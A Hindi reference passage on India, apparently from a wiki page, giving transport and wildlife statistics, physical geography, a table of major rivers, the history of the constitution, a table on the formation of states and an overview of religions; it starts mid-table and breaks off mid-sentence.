-राष्ट्रीय राजमार्गों की कुल लम्बाई
|
66,590 किमी.
|
-सबसे लम्बा राष्ट्रीय राजमार्ग
|
राजमार्ग संख्या 7 (लंबाई- 2369 किमी वाराणसी से कन्याकुमारी)
|
-राष्ट्रीय राजमार्ग (स्वर्ण चतुर्भुज)
|
5,846 किमी (योजना के अंतर्गत शामिल राष्ट्रीय राजमार्गों की कुल लम्बाई)
|
-राष्ट्रीय राजमार्ग (उत्तर-दक्षिण कॉरिडॉर)
|
7,300 किमी (योजना अंतर्गत शामिल राष्ट्रीय राजमार्गों की कुल लम्बाई)
|
-रेलमार्ग
|
63,465 किमी.
|
-रेलवे परिमण्डलों की संख्या
|
16
|
-सबसे बड़ा रेलवे परिमण्डल
|
उत्तर रेलवे (11,023 किमी., मुख्यालय- नई दिल्ली)
|
-रेलवे स्टेशनों की संख्या
|
लगभग 7,133 (31 मार्च, 2006 तक)
|
-रेल यात्रियों की संख्या
|
50,927 लाख प्रतिदिन (2002-03)
|
-रेल इंजनों की संख्या</ref>
|
8,025 (मार्च, 2006)।
|
-रेल सवारी डिब्बों की संख्या
|
42,570 (2001)
|
-रेल माल डिब्बों की संख्या
|
2,22,147 (2001)
|
-यात्री रेलगाड़ियों की संख्या
|
44,090
|
-अन्य सवारी रेल गाड़ियाँ
|
5,990
|
-अन्तर्राष्ट्रीय हवाई अड्डों की संख्या
|
पाँच [35]
|
-मुक्त आकाशीय हवाई अड्डा
|
गया (बिहार)
|
-प्रस्तावित अंतर्राष्ट्रीय हवाई अड्डे
|
बंगलौर, हैदराबाद, अहमदाबाद, गोवा, अमृतसर, गुवाहाटी एवं कोचीन।
|
|
अन्य
|
-जीव-जन्तु (अनुमानित)
|
75,000 जिनमें उभयचर- 2,500, सरीसृप- 450, पक्षी- 2,000 तथा स्तनपायी- 850
|
-राष्ट्रीय उद्यान
|
70
|
-वन्य प्राणी विहार
|
412
|
-प्राणी उद्यान
|
35
|
-राष्ट्रीय प्रतीक
|
राष्ट्रध्वज- तिरंगा
|
-राजचिन्ह
|
सिंहशीर्ष (सारनाथ)
|
-राष्ट्र गान
|
जन गण मन [36]
|
-राष्ट्रीय गीत
|
वन्दे मातरम् [37]
|
-राष्ट्रीय पशु
|
बाघ (पैंथर टाइग्रिस)।
|
-राष्ट्रीय पक्षी
|
मयूर (पावो क्रिस्टेशस)।
|
-स्वतन्त्रता दिवस
|
15 अगस्त
|
-गणतन्त्र दिवस
|
26 जनवरी
|
मुख्य भूभाग में चार क्षेत्र हैं, नामत: महापर्वत क्षेत्र, गंगा और सिंधु नदी के मैदानी क्षेत्र और मरूस्थली क्षेत्र और दक्षिणी प्रायद्वीप।
हिमालय की तीन श्रृंखलाएँ हैं, जो लगभग समानांतर फैली हुई हैं। इसके बीच बड़े - बड़े पठार और घाटियाँ हैं, इनमें कश्मीर और कुल्लू जैसी कुछ घाटियाँ उपजाऊ, विस्तृत और प्राकृतिक सौंदर्य से भरपूर हैं। संसार की सबसे ऊंची चोटियों में से कुछ इन्हीं पर्वत श्रृंखलाओं में हैं। अधिक ऊंचाई के कारण आना -जाना केवल कुछ ही दर्रों से हो पाता है, जिनमें मुख्य हैं -
- चुंबी घाटी से होते हुए मुख्य भारत-तिब्बत व्यापार मार्ग पर जेलप ला और नाथू-ला दर्रे
- उत्तर-पूर्व दार्जिलिंग
- कल्पना (किन्नौर) के उत्तर - पूर्व में सतलुज घाटी में शिपकी ला दर्रा
पर्वतीय दीवार लगभग 2,400 कि.मी. की दूरी तक फैली है, जो 240 कि.मी. से 320 कि.मी. तक चौड़ी है। पूर्व में भारत तथा म्यांमार और भारत एवं बांग्लादेश के बीच में पहाड़ी श्रृंखलाओं की ऊंचाई बहुत कम है। लगभग पूर्व से पश्चिम तक फैली हुई गारो, खासी, जैंतिया और नगा पहाडियाँ उत्तर से दक्षिण तक फैली मिज़ो तथा रखाइन पहाडियों की श्रृंखला से जा मिलती हैं।
मरुस्थली क्षेत्र को दो भागों में बाँटा जा सकता है बड़ा मरुस्थल कच्छ के रण की सीमा से लुनी नदी के उत्तरी ओर आगे तक फैला हुआ है। राजस्थान सिंध की पूरी सीमा इससे होकर गुजरती है। छोटा मरुस्थल लुनी से जैसलमेर और जोधपुर के बीच उत्तरी भूभाग तक फैला हुआ बड़े और छोटे मरुस्थल के बीच का क्षेत्र बिल्कुल ही बंजर है जिसमें चूने के पत्थर की पर्वत माला द्वारा पृथक किया हुआ पथरीला भूभाग है।
पर्वत समूह और पहाड़ी श्रृंखलाएँ जिनकी ऊँचाई 460 से 1,220 मीटर है, प्रायद्वीपीय पठार को गंगा और सिंधु के मैदानी क्षेत्रों से अलग करती हैं। इनमें प्रमुख हैं अरावली, विंध्य, सतपुड़ा, मैकाला और अजन्ता। इस प्रायद्वीप की एक ओर पूर्व घाट दूसरी ओर पश्चिमी घाट है जिनकी ऊँचाई सामान्यत: 915 से 1,220 मीटर है, कुछ स्थानों में 2,440 मीटर से अधिक ऊँचाई है। पश्चिमी घाटों और अरब सागर के बीच एक संकीर्ण तटवर्ती पट्टी है जबकि पूर्व घाट और बंगाल की खाड़ी के बीच का विस्तृत तटवर्ती क्षेत्र है। पठार का दक्षिणी भाग नीलगिरी पहाड़ियों द्वारा निर्मित है जहाँ पूर्वी और पश्चिमी घाट मिलते हैं। इसके आगे इलायची की पहाडियाँ पश्चिमी घाट के विस्तारण के रुप में मानी जा सकती हैं।
भूगर्भीय संरचना
भूवैज्ञानिक क्षेत्र व्यापक रुप से भौतिक विशेषताओं का पालन करते हैं और इन्हें तीन क्षेत्रों के समूह में रखा जा सकता है:
- हिमाचल पर्वत श्रृंखला और उनके संबद्ध पर्वत समूह
- भारत-गंगा मैदान क्षेत्र
- प्रायद्वीपीय ओट
उत्तर में हिमाचलय पर्वत क्षेत्र और पूर्व में नागालुशाई पर्वत, पर्वत निर्माण गतिविधि के क्षेत्र है। इस क्षेत्र का अधिकांश भाग जो वर्तमान समय में विश्व का सार्वधिक सुंदर पर्वत दृश्य प्रस्तुत करता है, 60 करोड़ वर्ष पहले समुद्री क्षेत्र में था। 7 करोड़ वर्ष पहले शुरू हुए पर्वत-निर्माण गतिविधियों की श्रृंखला में तलछटें और आधार चट्टानें काफ़ी ऊँचाई तक पहुँच गई। आज हम जो इन पर उभार देखते हैं, उनको उत्पन्न करने में अपक्षय और अपरदक ने कार्य किया। भारत-गंगा के मैदानी क्षेत्र एक जलोढ़ भूभाग हैं जो दक्षिण के प्रायद्वीप से उत्तर में हिमाचल को अलग करते हैं।
प्रायद्वीप सापेक्ष स्थिरता और कभी-कभार भूकंपीय परेशानियों का क्षेत्र है। 380 करोड़ वर्ष पहले के प्रारंभिक काल की अत्याधिक कायांतरित चट्टानें इस क्षेत्र में पायी जाती हैं, बाक़ी क्षेत्र गोंदवाना के तटवर्ती क्षेत्र से घिरा है, दक्षिण में सीढ़ीदार रचना और छोटी तलछटें लावा के प्रवाह से निर्मित हैं।
नदियाँ
ॠग्वैदिककालीन नदियाँ
प्राचीन नाम
|
आधुनिक नाम
|
क्रुभु
|
कुर्रम
|
कुभा
|
काबुल
|
वितस्ता
|
झेलम
|
आस्किनी
|
चिनाव
|
पुरुष्णी
|
रावी
|
शतुद्रि
|
सतलज
|
विपाशा
|
व्यास
|
सदानीरा
|
गंडक
|
दृषद्वती
|
घग्घर
|
गोमती
|
गोमल
|
सुवास्तु
|
स्वात
|
सिंधु
|
सिन्ध
|
सरस्वती / दृशद्वर्ती
|
घघ्घर / रक्षी / चित्तग
|
सुषोमा
|
सोहन
|
मरूद्वृधा
|
मरूवर्मन
|
भारत की नदियों को चार समूहों में वर्गीकृत किया जा सकता है जैसे :-
- हिमाचल से निकलने वाली नदियाँ
- दक्षिण से निकलने वाली नदियाँ
- तटवर्ती नदियाँ
- अंतर्देशीय नालों से द्रोणी क्षेत्र की नदियाँ
हिमालय से निकलने वाली नदियाँ बर्फ़ और ग्लेशियरों के पिघलने से बनी हैं अत: इनमें पूरे वर्ष के दौरान निरन्तर प्रवाह बना रहता है। मॉनसून माह के दौरान हिमालय क्षेत्र में बहुत अधिक वृष्टि होती है और नदियाँ बारिश पर निर्भर हैं अत: इसके आयतन में उतार चढ़ाव होता है। इनमें से कई अस्थायी होती हैं। तटवर्ती नदियाँ, विशेषकर पश्चिमी तट पर, लंबाई में छोटी होती हैं और उनका सीमित जलग्रहण क्षेत्र होता है। इनमें से अधिकांश अस्थायी होती हैं। पश्चिमी राजस्थान के अंतर्देशीय नाला द्रोणी क्षेत्र की कुछ् नदियाँ हैं। इनमें से अधिकांश अस्थायी प्रकृति की हैं। हिमालय से निकलने वाली नदी की मुख्य प्रणाली सिंधु, गंगा, ब्रह्मपुत्र और मेघना नदी की प्रणाली की तरह है। दक्कन क्षेत्र में अधिकांश नदी प्रणालियाँ सामान्यत पूर्व दिशा में बहती हैं और बंगाल की खाड़ी में मिल जाती हैं। भारत में कई प्रकार की तटवर्ती नदियाँ हैं जो अपेक्षाकृत छोटी हैं। ऐसी नदियों में काफ़ी कम नदियाँ-पूर्वी तट के डेल्टा के निकट समुद्र में मिलती है, जबकि पश्चिम तट पर ऐसी 600 नदियाँ है। राजस्थान में ऐसी कुछ नदियाँ है जो समुद्र में नहीं मिलती हैं। ये खारे झीलों में मिल जाती है और रेत में समाप्त हो जाती हैं जिसकी समुद्र में कोई निकासी नहीं होती है।
भारत की प्रमुख नदियों की सूची
क्रम
|
नदी
|
लम्बाई (कि.मी.)
|
उद्गम स्थान
|
सहायक नदियाँ
|
प्रवाह क्षेत्र (सम्बन्धित राज्य)
|
1
|
सिन्धु नदी
|
2,880 (709)
|
मानसरोवर झील के निकट (तिब्बत)
|
सतलुज, व्यास, झेलम, चिनाब, रावी, शिंगार, गिलगित, श्योक
|
जम्मू और कश्मीर, लेह
|
2
|
झेलम नदी
|
720
|
शेषनाग झील, जम्मू-कश्मीर
|
किशन, गंगा, पुँछ, लिदार, करेवाल, सिंध
|
जम्मू-कश्मीर, कश्मीर
|
3
|
चिनाब नदी
|
1,180
|
बारालाचा दर्रे के निकट
|
चन्द्रभागा
|
जम्मू-कश्मीर
|
4
|
रावी नदी
|
725
|
रोहतांग दर्रा, कांगड़ा
|
साहो, सुइल
|
हिमाचल प्रदेश, जम्मू-कश्मीर, पंजाब
|
5
|
सतलुज नदी
|
1440 (1050)
|
मानसरोवर के निकट राकसताल
|
व्यास, स्पिती, बस्पा
|
हिमाचल प्रदेश, पंजाब
|
6
|
व्यास नदी
|
470
|
रोहतांग दर्रा
|
तीर्थन, पार्वती, हुरला
|
हिमाचल प्रदेश
|
7
|
गंगा नदी
|
2,510 (2071)
|
गंगोत्री के निकट गोमुख से
|
यमुना, रामगंगा, गोमती, बागमती, गंडक, कोसी, सोन, अलकनंदा, भागीरथी, पिण्डार, मंदाकिनी
|
उत्तरांचल, उत्तर प्रदेश, बिहार, पश्चिम बंगाल
|
8
|
यमुना नदी
|
1375
|
यमुनोत्री ग्लेशियर
|
चम्बल, बेतवा, केन, टोंस, गिरी, काली, सिंध, आसन
|
उत्तरांचल, उत्तर प्रदेश, दिल्ली
|
9
|
रामगंगा नदी
|
690
|
नैनीताल के निकट एक हिमनदी से
|
खोन
|
उत्तरांचल, उत्तर प्रदेश
|
10
|
घाघरा नदी
|
1,080
|
मप्सातुंग (नेपाल) हिमनद
|
शारदा, करनली, कुवाना, राप्ती, चौकिया
|
उत्तर प्रदेश, बिहार
|
11
|
गंडक नदी
|
425
|
नेपाल तिब्बत सीमा पर मुस्ताग के निकट
|
काली, गंडक, त्रिशूल, गंगा
|
बिहार
|
12
|
कोसी नदी
|
730
|
नेपाल में सप्तकोशिकी (गोंसाईधाम)
|
इन्द्रावती, तामुर, अरुण, कोसी
|
सिक्किम, बिहार
|
13
|
चम्बल नदी
|
960
|
मऊ के निकट जानापाव पहाड़ी से
|
काली, सिंध, सिप्ता, पार्वती, बनास
|
मध्य प्रदेश
|
14
|
बेतवा नदी
|
480
|
भोपाल के पास उबेदुल्ला गंज के पास
|
|
मध्य प्रदेश
|
15
|
सोन नदी
|
770
|
अमरकंटक की पहाड़ियों से
|
रिहन्द, कुनहड़
|
मध्य प्रदेश, बिहार
|
16
|
दामोदर नदी
|
600
|
छोटा नागपुर पठार से दक्षिण पूर्व
|
कोनार, जामुनिया, बराकर
|
झारखण्ड, पश्चिम बंगाल
|
17
|
ब्रह्मपुत्र नदी
|
2,880
|
मानसरोवर झील के निकट (तिब्बत में सांग्पो)
|
घनसिरी, कपिली, सुवनसिती, मानस, लोहित, नोवा, पद्मा, दिहांग
|
अरुणाचल प्रदेश, असम
|
18
|
महानदी
|
890
|
सिहावा के निकट रायपुर
|
सियोनाथ, हसदेव, उंग, ईब, ब्राह्मणी, वैतरणी
|
मध्य प्रदेश, छत्तीसगढ़, उड़ीसा
|
19
|
वैतरणी नदी
|
333
|
क्योंझर पठार
|
|
उड़ीसा
|
20
|
स्वर्ण रेखा
|
480
|
छोटा नागपुर पठार
|
|
उड़ीसा, झारखण्ड, पश्चिम बंगाल
|
21
|
गोदावरी नदी
|
1,450
|
नासिक की पहाड़ियों से
|
प्राणहिता, पेनगंगा, वर्धा, वेनगंगा, इन्द्रावती, मंजीरा, पुरना
|
महाराष्ट्र, कर्नाटक, आन्ध्र प्रदेश
|
22
|
कृष्णा नदी
|
1,290
|
महाबलेश्वर के निकट
|
कोयना, यरला, वर्णा, पंचगंगा, दूधगंगा, घाटप्रभा, मालप्रभा, भीमा, तुंगप्रभा, मूसी
|
महाराष्ट्र, कर्नाटक, आन्ध्र प्रदेश
|
23
|
कावेरी नदी
|
760
|
केरकारा के निकट ब्रह्मगिरी
|
हेमावती, लोकपावना, शिमला, भवानी, अमरावती, स्वर्णवती
|
कर्नाटक, तमिलनाडु
|
24
|
नर्मदा नदी
|
1,312
|
अमरकंटक चोटी
|
तवा, शेर, शक्कर, दूधी, बर्ना
|
मध्य प्रदेश, गुजरात
|
25
|
ताप्ती नदी
|
724
|
मुल्ताई से (बेतूल)
|
पूरणा, बेतूल, गंजल, गोमई
|
मध्य प्रदेश, गुजरात
|
26
|
साबरमती
|
716
|
जयसमंद झील (उदयपुर)
|
वाकल, हाथमती
|
राजस्थान, गुजरात
|
27
|
लूनी नदी
|
|
नाग पहाड़
|
सुकड़ी, जनाई, बांडी
|
राजस्थान, गुजरात, मिरूडी, जोजरी
|
28
|
बनास नदी
|
|
खमनौर पहाड़ियों से
|
सोड्रा, मौसी, खारी
|
कर्नाटक, तमिलनाडु
|
29
|
माही नदी
|
|
मेहद झील से
|
सोम, जोखम, अनास, सोरन
|
मध्य प्रदेश, गुजरात
|
30
|
हुगली नदी
|
|
नवद्वीप के निकट
|
जलांगी
|
|
31
|
उत्तरी पेन्नार
|
570
|
नंदी दुर्ग पहाड़ी
|
पाआधनी, चित्रावती, सागीलेरू
|
|
32
|
तुंगभद्रा नदी
|
|
पश्चिमी घाट में गोमन्तक चोटी
|
कुमुदवती, वर्धा, हगरी, हिंद, तुंगा, भद्रा
|
|
33
|
मयूसा नदी
|
|
आसोनोरा के निकट
|
मेदेई
|
|
34
|
साबरी नदी
|
418
|
सुईकरम पहाड़ी
|
सिलेरु
|
|
35
|
इन्द्रावती नदी
|
531
|
कालाहाण्डी, उड़ीसा
|
नारंगी, कोटरी
|
|
36
|
क्षिप्रा नदी
|
|
काकरी बरडी पहाड़ी, इंदौर
|
चम्बल नदी
|
|
37
|
शारदा नदी
|
602
|
मिलाम हिमनद, हिमालय, कुमायूँ
|
घाघरा नदी
|
|
38
|
तवा नदी
|
|
महादेव पर्वत, पंचमढ़ी
|
नर्मदा नदी
|
|
39
|
हसदो नदी
|
|
सरगुजा में कैमूर पहाड़ियाँ
|
महानदी
|
|
40
|
काली सिंध नदी
|
416
|
बागलो, ज़िला देवास, विंध्याचल पर्वत
|
यमुना नदी
|
|
41
|
सिन्ध नदी
|
|
सिरोज, गुना ज़िला
|
चम्बल नदी
|
|
42
|
केन नदी
|
|
विंध्याचल श्रेणी
|
यमुना नदी
|
|
43
|
पार्वती नदी
|
|
विंध्याचल, मध्य प्रदेश
|
चम्बल नदी
|
|
44
|
घग्घर नदी
|
|
कालका, हिमाचल प्रदेश
|
|
|
45
|
बाणगंगा नदी
|
494
|
बैराठ पहाड़ियाँ, जयपुर
|
यमुना नदी
|
|
46
|
सोम नदी
|
|
बीछा मेंड़ा, उदयपुर
|
जोखम, गोमती, सारनी
|
|
47
|
आयड़ या बेडच नदी
|
190
|
गोमुण्डा पहाड़ी, उदयपुर
|
बनास नदी
|
|
48
|
दक्षिण पिनाकिन
|
400
|
चेन्ना केशव पहाड़ी, कर्नाटक
|
|
|
49
|
दक्षिणी टोंस
|
265
|
तमसा कुंड, कैमूर पहाड़ी
|
|
|
50
|
दामन गंगा नदी
|
|
पश्चिम घाट
|
|
|
51
|
गिरना नदी
|
|
पश्चिम घाट, नासिक
|
|
|
भारत का संविधान
भारतीय संविधान की मांग
1885 में कांग्रेस के गठन के बाद से भारतीयों में राजनीतिक चेतना जागृत हुई और धीरे-धीरे भारतीयों के मन में यह धारणा बनने लगी की भारत के लोग स्वयं अपने राजनीतिक भविष्य का निर्णय करें। इस धारणा को सर्वप्रथम अभिव्यक्ति 1895 में उस "स्वराज्य विधेयक" में मिली, जिसे लोकमान्य बाल गंगाधर तिलक के निर्देशन में तैयार किया गया था। बाद में 1922 में महात्मा गांधी द्वारा यह उदगार व्यक्त किया गया कि "भारतीय संविधान भारतीयों की इच्छानुसार होगा"। महात्मा गांधी के इस उदगार में यह आशय निहित नहीं था कि भारत के संविधान का निर्माण भारतीयों के द्वारा किया आये। उनका केवल यह मत था कि भारतीयों की इच्छा को ध्यान में रखते हुए ब्रिटिश संसद भारतीय संविधान को पारित करे। महात्मा गांधी की इस मांग ने भारतीय नेताओं को भारतीय संविधान की मांग के लिए उत्प्रेरित किया। 1924 में मोतीलाल नेहरू द्वारा ब्रिटिश सरकार से यह मांग की गयी कि भारतीय संविधान के निर्माण के लिए संविधान सभा का गठन किया जाए। इसके बाद संविधान सभा के विचार का औपचारिक रूप से प्रतिपादन साम्यवादी नेता एम. एन. राय द्वारा किया गया, जिसे 1934 में जवाहर लाल नेहरू ने मूर्त रूप प्रदान किया। नेहरू जी ने कहा कि यदि यह स्वीकार किया जाता है कि भारत के भाग्य की एकमात्र निर्णायक भारतीय जनता है, तो भारतीय जनता को अपना संविधान निर्माण करने की पूर्ण स्वतंत्रता होनी चाहिए।
भारत का संविधान 26 जनवरी, 1950 को लागू हुआ। इसका निर्माण संविधान सभा ने किया था, जिसकी पहली बैठक 9 दिसम्बर, 1946 को हुई थी। संविधान सभा ने 26 नवम्बर, 1949 को संविधान को अंगीकार कर लिया था।
संविधान सभा की पहली बैठक अविभाजित भारत के लिए बुलाई गई थी। 4 अगस्त, 1947 को संविधान सभा की बैठक पुनः हुई और उसके अध्यक्ष सच्चिदानन्द सिन्हा थे। सिन्हा के निधन के बाद डॉ. राजेन्द्र प्रसाद संविधान सभा के अध्यक्ष बने। फ़रवरी 1948 में संविधान का मसौदा प्रकाशित हुआ। 26 नवम्बर, 1949 को संविधान अन्तिम रूप में स्वीकृत हुआ और 26 जनवरी 1950 को लागू हुआ।
भारत का संविधान ब्रिटेन की संसदीय प्रणाली के नमूने पर है, किन्तु एक विषय में यह उससे भिन्न है, ब्रिटेन में संसद सर्वोच्च है। भारत में संसद नहीं; बल्कि संविधान सर्वोच्च है। भारत में न्यायालयों को भारत की संसद द्वारा पास किए गए क़ानून की संवैधानिकता पर फ़ैसला करने का अधिकार प्राप्त है।
भारतीय संविधान सभा
भारतीय संविधान सभा की कार्रवाई 13 दिसम्बर, सन 1946 ई. को जवाहर लाल नेहरू द्वारा पेश किये गए उद्देश्य प्रस्ताव के साथ प्रारम्भ हुई।
राज्यों का गठन एक झलक
क्रम
|
राज्य का नाम
|
पूर्ण राज्य के रूप में
|
राज्य के नाम का अर्थ, उद्भव, परिचय
|
1
|
तमिलनाडु
|
14 जनवरी, 1969
|
तमिलभाषी प्रदेश
|
2
|
केरल
|
1 नवम्बर, 1956
|
1-'केरा' अर्थात 'नारियल के वृक्षों की भूमि' 2-केरल शब्द की उत्पत्ति 'केरलम' से भी मानी जाती है जो 'चेरलम' का अपभ्रंश है। यहाँ चेर का आशय 'पाना या जोड़ना' होता है। इस तरह चेरलम का आशय हो गया- 'वह भूमि जो समुद्र से प्राप्त होकर जोड़ी गयी हो।'
|
3
|
आन्ध्र प्रदेश
|
1-1अक्टूबर, 1953 को नये 'आन्ध्र प्रदेश' का गठन हुआ।, 2-वर्तमान आन्ध्र प्रदेश(तेलांगाना+हैदराबाद) जिसकी राजधानी हैदराबाद थी, 1 नवम्बर, 1956 को अस्तित्व में आया।
|
आन्ध्रों का देश
|
4
|
कर्नाटक
|
1956 में मैसूर के नाम से राज्य का गठन हुआ जिसे बाद में 1 नवम्बर, 1973 को कर्नाटक के नाम से नामान्तरित किया गया।
|
कुरूनाडु शब्द से कर्नाटक की उत्पत्ति मानी जाती है जिसका अर्थ होता है- 'भव्य, उच्च भूमि'।
|
5
|
उड़ीसा
|
19 अगस्त, 1949
|
उड़िया लोगों की भूमि
|
6
|
महाराष्ट्र
|
1 मई, 1960
|
महा तथा राष्ट्र से महाराष्ट्र बना है। इसका आशय है- 'गौरवशाली या श्रेष्ठ अतीत वाला
|
7
|
गोवा
|
30 मई, 1987
|
|
8
|
छत्तीसगढ़
|
1 नवम्बर, 2000
|
छत्तीस गढ़ों या क़िलों का प्रदेश
|
9
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मध्य प्रदेश
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1 नवम्बर, 1956
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देश का मध्य भाग
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10
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गुजरात
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1 मई, 1960
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गुर्जरों का प्रदेश
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11
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राजस्थान
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1 नवम्बर 1956
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राजस्थान का शाब्दिक आशय 'राजाओं के स्थान' से है। उल्लेखनीय है इतिहास के अनुसार राजस्थान राजपूत राजाओं का प्रदेश था।
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12
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उत्तर प्रदेश
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26 जनवरी, 1950
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1- उत्तर में स्थित प्रदेश, 2- उत्तरी क्षेत्रों का बौद्धिक नेतृत्व करने वाला प्रदेश
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13
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बिहार
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सन 1936 में पृथक राज्य बना, 1956 के पुनर्गठन विधेयक द्वारा बिहार को वर्तमान स्वरूप मिला।
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बिहार की उत्पत्ति 'विहार' से मानी गयी है। यह नाम यहाँ पर अवस्थित असंख्य बौद्ध विहारों के कारण पड़ा माना जाता है।
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14
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झारखण्ड
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15 नवम्बर 2000
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झाड़ और खण्ड के मिलने से बने झारखण्ड का आशय ऐसे प्रदेश से है जहाँ झाड़ियों की बहुलता हो।
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15
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पश्चिम बंगाल
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राज्य पुनर्गठन अधिनियम, 1956 के द्वारा यह वर्तमान स्वरूप में अस्तित्व में आया।
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बंगाल की उत्पत्ति 'बंग' शब्द से मानी जाती है तथा पश्चिम शब्द क्षेत्रगत अवस्थिति की ओर संकेत करते हैं।
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16
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उत्तराखंड
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1- 9 नवम्बर 2000, 2- उत्तरांचल को 1 जनवरी 2007 से उत्तराखंड किया गया।
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उत्तरांचल का आशय 'उत्तर का अंचल' या क्षेत्र है।
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17
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हरियाणा
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1 नवम्बर 1966
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हरियाली युक्त प्रदेश
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18
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पंजाब
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1 नवम्बर, 1956
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'पंच'(पांच) और आब(पानी) नामक दो फ़ारसी शब्दों से पंजाब बना है। पंजाब का अर्थ है 'पांच नदियों का प्रदेश'
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19
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हिमाचल प्रदेश
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25 जनवरी, 1971
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हिम(बर्फ) तथा अचल(पहाड़) से हिमाचल बना है। इसका आशय हुआ 'बर्फ़ से ढका पहाड़ वाला प्रदेश'।
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20
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जम्मू और कश्मीर
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26 अक्टूबर, 1947
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1- कश्यप ॠषि का प्रदेश, 2- केसर भूमि
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21
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असम
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पुनर्गठन अधिनियम, 1956
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1- अद्वितीय, 2- उबड़-खाबड़(समान नहीं) भूमि का प्रदेश
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22
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मणिपुर
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21 जनवरी, 1972
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मणियों का नगर
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23
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मेघालय
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2 अप्रॅल 1970 को स्वायत्तशासी राज्य के रूप में तथा 21 जनवरी, 1972 को पूर्ण राज्य के रूप गठित।
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मेघ+आलय= बादलों का घर।
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24
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त्रिपुरा
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21 जनवरी, 1972
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त्रिपुर शासक द्वारा बसाया गया क्षेत्र।
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25
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मिज़ोरम
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फ़रवरी, 1987
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मिज़ोरम का आशय है 'पहाड़वासियों की भूमि'।
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26
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अरुणाचल प्रदेश
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20 फ़रवरी, 1987
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सूर्योदय का प्रदेश
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27
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नागालैंड
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1961 में इसे राज्य का दर्जा दिया गया लेकिन 1 दिसम्बर, 1963 को इसे विधिवत पूर्ण राज्य घोषित किया गया।
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नागाओं की भूमि।
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28
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सिक्किम
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26 अप्रॅल, 1975
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'लिम्बू भाषा' के सिक्किम का अर्थ होता है 'नया महल'। प्रदेश के अद्वितीय प्राकृतिक सौन्दर्य के कारण इसे स्वर्ग भी कहा जाता है।
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धर्म
हर दशा में दूसरे सम्प्रदायों का आदर करना ही चाहिए। ऐसा करने से मनुष्य अपने सम्प्रदाय की उन्नति और दूसरे सम्प्रदायों का उपकार करता है। इसके विपरीत जो करता है वह अपने सम्प्रदाय की (जड़) काटता है और दूसरे सम्प्रदायों का भी अपकार करता है। क्योंकि जो अपने सम्प्रदाय की भक्ति में आकर इस विचार से कि मेरे सम्प्रदाय का गौरव बढ़े, अपने सम्प्रदाय की प्रशंसा करता है और दूसरे सम्प्रदाय की निन्दा करता है, वह ऐसा करके वास्तव में अपने सम्प्रदाय को ही गहरी हानि पहुँचाता है। इसलिए समवाय (परस्पर मेलजोल से रहना) ही अच्छा है अर्थात् लोग एक-दूसरे के धर्म को ध्यान देकर सुनें और उसकी सेवा करें। - सम्राट अशोक महान[38]
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भारतीय संस्कृति में विभिन्नता उसका भूषण है। यहाँ हिन्दू धर्म के अगणित रूपों और संप्रदायों के अतिरिक्त, बौद्ध, जैन, सिक्ख, इस्लाम, ईसाई, यहूदी आदि धर्मों की विविधता का भी एक सांस्कृतिक समायोजन देखने को मिलता है। हिन्दू धर्म के विविध सम्प्रदाय एवं मत सारे देश में फैले हुए हैं, जैसे वैदिक धर्म, शैव, वैष्णव, शाक्त आदि पौराणिक धर्म, राधा-बल्लभ संप्रदाय, श्री संप्रदाय, आर्य समाज, समाज आदि। परन्तु इन सभी मतवादों में सनातन धर्म की एकरसता खण्डित न होकर विविध रूपों में गठित होती है। यहाँ के निवासियों में भाषा की विविधता भी इस देश की मूलभूत सांस्कृतिक एकता के लिए बाधक न होकर साधक प्रतीत होती है।
विभिन्न धर्मावलम्बियों की संख्या (भारत)
धर्म
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संख्या (लाख)
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कुल जनसंख्या का प्रतिशत
|
हिन्दू
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8,275
|
80.5
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मुस्लिम
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1,381
|
13.4
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ईसाई
|
240
|
2.33
|
सिख
|
192
|
1.84
|
बौद्ध
|
79.5
|
0.8
|
जैन
|
42.5
|
0.4
|
अन्य
|
66.3
|
1.8
|
कुल
|
10,286
|
100.0
|
आध्यात्मिकता हमारी संस्कृति का प्राणतत्त्व है। इनमें ऐहिक अथवा भौतिक सुखों की तुलना में आत्मिक अथवा पारलौकिक सुख के प्रति आग्रह देखा जा सकता है। चतुराश्रम-व्यवस्था (अर्थात ब्रह्मचर्य, गृहस्थ तथा संन्यास आश्रम) तथा पुरुषार्थ-चतुष्टम (धर्म, अर्थ, काम तथा मोक्ष) का विधान मनुष्य की आध्यात्मिक साधना के ही प्रतीक हैं। इसमें जीवन का मुख्य ध्येय धर्म अर्थात मूल्यों का अनुरक्षण करते हुए मोक्ष माना गया है। भारतीय आध्यात्मिकता में धर्मान्धता को महत्त्व नहीं दिया गया। इस संस्कृति की मूल विशेषता यह रही है कि व्यक्ति अपनी परिस्थितियों के अनुरूप मूल्यों की रक्षा करते हुए कोई भी मत, विचार अथवा धर्म अपना सकता है यही कारण है कि यहाँ समय-समय पर विभिन्न धर्मों को उदय तथा साम्प्रदायिक विलय होता रहा है। धार्मिक सहिष्णुता इसमें कूट-कूट कर भरी हुई है। वस्तुत: हमारी संस्कृति में ग्रहण-शीलता की प्रवृत्ति रही है। इसमें प्रतिकूल परिस्थितियों को अपने अनुकूल बनाकर अपने में समाहित कर लेने की अद्भुत शक्ति है। ऐतिहासिक काल से लेकर मध्य काल तक भारत में विभिन्न धर्मों एवं जातियों का भारत पर आक्रमण एवं शासन स्थापित हुआ। परन्तु भारतीय संस्कृति की ग्रहणशील प्रकृति के कारण समयान्तर में वे सब इसमें समाहित हो गये।
भारतीय संस्कृति की महत्त्वपूर्ण विरासत इसमें अन्तर्निहित सहिष्णुता की भावना मानी जा सकती है। यद्यपि प्राचीन भारत में अनेक धर्म एवं संप्रदाय थे, परन्तु उनमें धर्मान्धता तथा संकुचित मनोवृत्ति का अभाव था। अतीत इस बात का साक्षी है कि हमारे देश में धर्म के नाम पर अत्याचार और रक्तपात नहीं हुआ है। भारतीय मनीषियों ने ईश्वर को एक, सर्वव्यापी, सर्वकल्याणकारी, सर्वशक्तिमान मानते हुए विभिन्न धर्मो, मतों और संप्रदायों को उस परम ईश तक पहुँचने का भिन्न-भिन्न मार्ग प्रतिपादित किया है। (एक सद्विप्रा: बहुधा बदन्ति)। गीता में श्रीकृष्ण भी अर्जुन को यही उपदेश देते हैं कि संसार में सभी लोग अनेक प्रकार से मेरे ही मार्ग का अनुसरण करते हैं। जैनियों का स्याद्वाद, अशोक के शिलालेख आदि भी यही बात दुहराते हैं। इसी भावना को राष्ट्रपिता महात्मा गांधी ने राष्ट्रीय एकता जागृत करने के लिए देश के कोने-कोने में गुंजारित किया था- ‘‘ईश्वर अल्ला तेरे नाम। सबको सम्मति दे भगवान।’’ भारतीय विचारकों की सर्वांगीणता तथा सार्वभौमिकता की भावना को सतत बल प्रदान किया है। इसमें अपनी सुख, शान्ति एवं उन्नति 